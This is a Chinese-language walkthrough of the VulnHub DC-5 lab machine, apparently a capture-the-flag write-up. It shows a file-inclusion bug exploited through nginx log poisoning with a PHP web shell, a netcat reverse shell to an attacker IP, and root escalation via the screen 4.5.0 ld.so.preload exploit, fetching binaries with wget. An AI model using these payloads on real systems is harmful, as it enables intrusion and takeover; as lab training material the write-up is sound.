vulnhub--DC5 WP
DC5
1、信息收集
先拿nmap扫一下端口,
nmap -R 192.168.247.0/24
扫描出来多出来的就是目标主机,发现打开了80和111端口。
先看看80端口的web服务:
发现是一堆没什么用的拉丁文,所有页面都点一下,发现其他页面都没什么用,只有concat页面有输入框。
2、漏洞利用
拿wfuzz扫一下目录。
这里发现了一个叫footer.php的文件,尝试访问一下。
看着应该就是其他页面的页脚
那这里猜测可能使用了文件包含,尝试一下?file=footer.php
发现页面正常显示,并且这里的年份会随着刷新页面而改变。
再试一下?file=/etc/passwd
,发现果然存在文件包含漏洞。
由于该web服务器使用的是nginx+php,所以可以利用日志进行进行命令执行。
用wfuzz爆破一下日志路径,最后发现在/var/log/nginx/access.log
使用burp修改user-agent字段为<?php phpinfo() ?>
访问,之后再次访问日志,这里不能直接将payload放到url中访问,因为会被url编码。
这就说明这时可以进行命令执行了,先上传个一句话:<?php system($_GET['x']) ?>
到日志中。
之后就可以进行反弹shell了。先用nc建立监听:
nc -nlvp 4444
之后访问http://192.168.247.142/thankyou.php?file=/var/log/nginx/access.log&x=nc%20192.168.247.135%204444%20-e%20/bin/bash
就成功拿到shell了。
提权
先切换到交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")
先去找带有SUID权限的文件:
find / -perm -u=s 2>/dev/null
这里发现了一个比较特殊的文件:screen-4.5.0
使用searchsploit命令寻找可能存在的漏洞:
searchsploit -w screen 4.5.0
发现存在可以利用的漏洞,这里直接去/usr/share/exploitdb/exploits/linux/local/
这个目录下找到41154.sh这个文件。
打开看一下发现该文件不能直接运行,而是要分成2个c语言文件,编译后再在靶机上运行。
一个是libhax.c
另一个是rootshell.c
之后对这两个文件进行编译
gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c
gcc -o ./rootshell ./rootshell.c
编译好后,将这两个文件传到靶机上:
python -m SimpleHTTPServer 8080
cd /tmp
wget 192.168.247.135:8080/libhax.so;wget 192.168.247.135:8080/rootshell
之后运行这个poc
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
whoami
这样就获得了root权限。